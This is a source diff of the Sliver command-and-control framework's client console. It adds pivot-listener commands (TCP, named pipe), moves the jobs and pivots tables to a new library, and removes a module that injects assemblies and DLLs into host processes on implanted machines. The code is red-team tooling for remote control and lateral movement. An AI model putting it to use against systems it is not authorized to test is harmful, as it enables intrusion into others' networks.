[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
List pivots for all sessions:
|
||||
|
||||
pivots-list
|
||||
|
||||
List pivots for a specific session:
|
||||
|
||||
pivots-list --id 1
|
||||
|
||||
List pivots for the current session:
|
||||
|
||||
pivots-list
|
||||
`
|
||||
pivots
|
||||
|
||||
Start a tcp pivot on the current session:
|
||||
|
||||
pivots tcp --bind 0.0.0.0
|
||||
|
||||
`
|
||||
wgSocksHelp = `[[.Bold]]Command:[[.Normal]] wg-socks
|
||||
[[.Bold]]About:[[.Normal]] Create a socks5 listener on the implant Wireguard tun interface
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
|
||||
+22
-15
@@ -21,16 +21,15 @@ package jobs
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// JobsCmd - Manage server jobs (listeners, etc)
|
||||
@@ -51,33 +50,41 @@ func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
activeJobs[job.ID] = job
|
||||
}
|
||||
if 0 < len(activeJobs) {
|
||||
printJobs(activeJobs)
|
||||
PrintJobs(activeJobs, con)
|
||||
} else {
|
||||
con.PrintInfof("No active jobs\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func printJobs(jobs map[uint32]*clientpb.Job) {
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("Protocol")),
|
||||
strings.Repeat("=", len("Port")))
|
||||
// PrintJobs - Prints a list of active jobs
|
||||
func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) {
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Protocol",
|
||||
"Port",
|
||||
})
|
||||
|
||||
var keys []int
|
||||
for _, job := range jobs {
|
||||
keys = append(keys, int(job.ID))
|
||||
}
|
||||
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
sort.Ints(keys)
|
||||
|
||||
for _, k := range keys {
|
||||
job := jobs[uint32(k)]
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf("%d", job.ID),
|
||||
job.Name,
|
||||
job.Protocol,
|
||||
fmt.Sprintf("%d", job.Port),
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func jobKill(jobID uint32, con *console.SliverConsoleClient) {
|
||||
|
||||
@@ -1,335 +0,0 @@
|
||||
package macros
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var commandMap map[string]macro
|
||||
var defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
}
|
||||
|
||||
type macroFile struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
}
|
||||
|
||||
type macroCommand struct {
|
||||
Name string `json:"name"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"longHelp"`
|
||||
AllowArgs bool `json:"allowArgs"`
|
||||
DefaultArgs string `json:"defaultArgs"`
|
||||
MacroFiles []macroFile `json:"extFiles"`
|
||||
IsReflective bool `json:"isReflective"`
|
||||
IsAssembly bool `json:"IsAssembly"`
|
||||
}
|
||||
|
||||
func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
type macro struct {
|
||||
Name string `json:"macroName"`
|
||||
Commands []macroCommand `json:"macroCommands"`
|
||||
Path string
|
||||
}
|
||||
|
||||
func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, c := range e.Commands {
|
||||
if cmdName == c.Name {
|
||||
for _, ef := range c.MacroFiles {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "x86":
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
|
||||
case "x64":
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
|
||||
for _, x := range e.Commands {
|
||||
if x.Name == name {
|
||||
extCmd = &x
|
||||
return
|
||||
}
|
||||
}
|
||||
err = fmt.Errorf("no macro command found for name %s", name)
|
||||
return
|
||||
}
|
||||
|
||||
// LoadMacroCmd - Locally load a macro into the Sliver shell.
|
||||
func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
|
||||
// retrieve macro manifest
|
||||
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
// parse it
|
||||
ext := ¯o{}
|
||||
err = json.Unmarshal(jsonBytes, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error loading macro: %v", err)
|
||||
return
|
||||
}
|
||||
ext.Path = dirPath
|
||||
// for each macro command, add a new app command
|
||||
for _, extCmd := range ext.Commands {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, ctx.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
|
||||
// Have to use a global map here, as passing the extCmd
|
||||
// either by value or by ref fucks things up
|
||||
commandMap[extCmd.Name] = *ext
|
||||
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
|
||||
macroCmd := &grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runMacroCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if extCmd.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.MacroHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(macroCmd)
|
||||
}
|
||||
con.PrintInfof("%s macro has been loaded\n", ext.Name)
|
||||
}
|
||||
|
||||
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
c, err := ext.getCommandFromName(ctx.Command.Name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(c.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = c.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
entryPoint := c.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = c.getDefaultProcess(session.GetOS())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if c.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else if c.IsReflective {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: c.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
commandMap = make(map[string]macro)
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// PivotDetailsCmd - Display pivots for all sessions
|
||||
func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if pivotListeners.Response != nil && pivotListeners.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", pivotListeners.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
id := uint32(ctx.Flags.Int("id"))
|
||||
if id == uint32(0) {
|
||||
selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
id = selectedListener.ID
|
||||
}
|
||||
|
||||
found := false
|
||||
for _, listener := range pivotListeners.Listeners {
|
||||
if listener.ID == id {
|
||||
PrintPivotListenerDetails(listener, con)
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
con.PrintErrorf("No pivot listener with id %d\n", id)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintPivotListenerDetails - Print details of a single pivot listener
|
||||
func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.SliverConsoleClient) {
|
||||
con.Printf("\n")
|
||||
con.Printf(" ID: %d\n", listener.ID)
|
||||
con.Printf(" Protocol: %s\n", PivotTypeToString(listener.Type))
|
||||
con.Printf(" Bind Address: %s\n", listener.BindAddress)
|
||||
con.Printf(" Number of Pivots: %d\n", len(listener.Pivots))
|
||||
con.Printf("\n")
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(fmt.Sprintf(console.Bold+"%s Pivots"+console.Normal, PivotTypeToString(listener.Type)))
|
||||
tw.AppendSeparator()
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Remote Address",
|
||||
})
|
||||
for _, pivot := range listener.Pivots {
|
||||
tw.AppendRow(table.Row{
|
||||
pivot.ID,
|
||||
pivot.RemoteAddress,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// SelectPivotListener - Interactive menu to select a pivot listener
|
||||
func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) (*sliverpb.PivotListener, error) {
|
||||
|
||||
// Render selection table
|
||||
buf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
|
||||
for _, listener := range listeners {
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t\n", listener.ID, PivotTypeToString(listener.Type), listener.BindAddress)
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(buf.String(), "\n")
|
||||
options = options[:len(options)-1]
|
||||
if len(options) == 0 {
|
||||
return nil, errors.New("no task to select from")
|
||||
}
|
||||
|
||||
selected := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a beacon task:",
|
||||
Options: options,
|
||||
}
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for index, value := range options {
|
||||
if value == selected {
|
||||
return listeners[index], nil
|
||||
}
|
||||
}
|
||||
return nil, errors.New("task not found")
|
||||
}
|
||||
@@ -1,40 +0,0 @@
|
||||
package pivots
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
|
||||
func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
if session.OS != "windows" {
|
||||
con.PrintErrorf("Not implemented for %s\n", session.OS)
|
||||
return
|
||||
}
|
||||
|
||||
pipeName := ctx.Flags.String("name")
|
||||
|
||||
if pipeName == "" {
|
||||
con.PrintErrorf("-n parameter missing\n")
|
||||
return
|
||||
}
|
||||
|
||||
_, err := con.Rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
|
||||
PipeName: pipeName,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Listening on %s", "\\\\.\\pipe\\"+pipeName)
|
||||
}
|
||||
@@ -19,84 +19,71 @@ package pivots
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PivotsCmd - Display pivots for all sessions
|
||||
func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
timeout := ctx.Flags.Int("timeout")
|
||||
sessionID := ctx.Flags.String("id")
|
||||
if sessionID != "" {
|
||||
session := con.GetSession(sessionID)
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
printPivots(session, int64(timeout), con)
|
||||
} else {
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session != nil {
|
||||
printPivots(session, int64(timeout), con)
|
||||
} else {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
for _, session := range sessions.Sessions {
|
||||
printPivots(session, int64(timeout), con)
|
||||
}
|
||||
}
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func printPivots(session *clientpb.Session, timeout int64, con *console.SliverConsoleClient) {
|
||||
pivotList, err := con.Rpc.ListPivots(context.Background(), &sliverpb.PivotListReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: timeout,
|
||||
Async: false,
|
||||
},
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if pivotList.Response != nil && pivotList.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", pivotList.Response.Err)
|
||||
if pivotListeners.Response != nil && pivotListeners.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", pivotListeners.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
if len(pivotList.Entries) > 0 {
|
||||
con.PrintInfof("Session %d\n", session.ID)
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
fmt.Fprintf(table, "type\taddress\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
strings.Repeat("=", len("type")),
|
||||
strings.Repeat("=", len("address")),
|
||||
)
|
||||
|
||||
for _, entry := range pivotList.Entries {
|
||||
fmt.Fprintf(table, "%s\t%s\t\n", entry.Type, entry.Remote)
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf(outputBuf.String())
|
||||
if len(pivotListeners.Listeners) == 0 {
|
||||
con.PrintInfof("No pivot listeners running on this session\n")
|
||||
} else {
|
||||
con.PrintInfof("No pivots found for session %d\n", session.ID)
|
||||
PrintPivotListeners(pivotListeners.Listeners, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintPivotListeners - Print a table of pivot listeners
|
||||
func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Protocol",
|
||||
"Bind Address",
|
||||
"Number of Pivots",
|
||||
})
|
||||
for _, listener := range pivotListeners {
|
||||
tw.AppendRow(table.Row{
|
||||
listener.ID,
|
||||
PivotTypeToString(listener.Type),
|
||||
listener.BindAddress,
|
||||
len(listener.Pivots),
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// PivotTypeToString - Convert a pivot type to a human string
|
||||
func PivotTypeToString(pivotType sliverpb.PivotType) string {
|
||||
switch pivotType {
|
||||
case sliverpb.PivotType_TCP:
|
||||
return "TCP"
|
||||
case sliverpb.PivotType_UDP:
|
||||
return "UDP"
|
||||
case sliverpb.PivotType_NamedPipe:
|
||||
return "Named Pipe"
|
||||
}
|
||||
return "Unknown"
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// StartTCPListenerCmd - Start a TCP pivot listener on the remote system
|
||||
func StartTCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
bind := ctx.Flags.String("bind")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
|
||||
Type: sliverpb.PivotType_TCP,
|
||||
BindAddress: fmt.Sprintf("%s:%d", bind, lport),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if listener.Response != nil && listener.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", listener.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Started tcp pivot listener %s with id %d\n", listener.BindAddress, listener.ID)
|
||||
}
|
||||
|
||||
// StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system
|
||||
func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
|
||||
Type: sliverpb.PivotType_NamedPipe,
|
||||
BindAddress: ctx.Flags.String("bind"),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if listener.Response != nil && listener.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", listener.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Started named pipe pivot listener %s with id %d\n", listener.BindAddress, listener.ID)
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
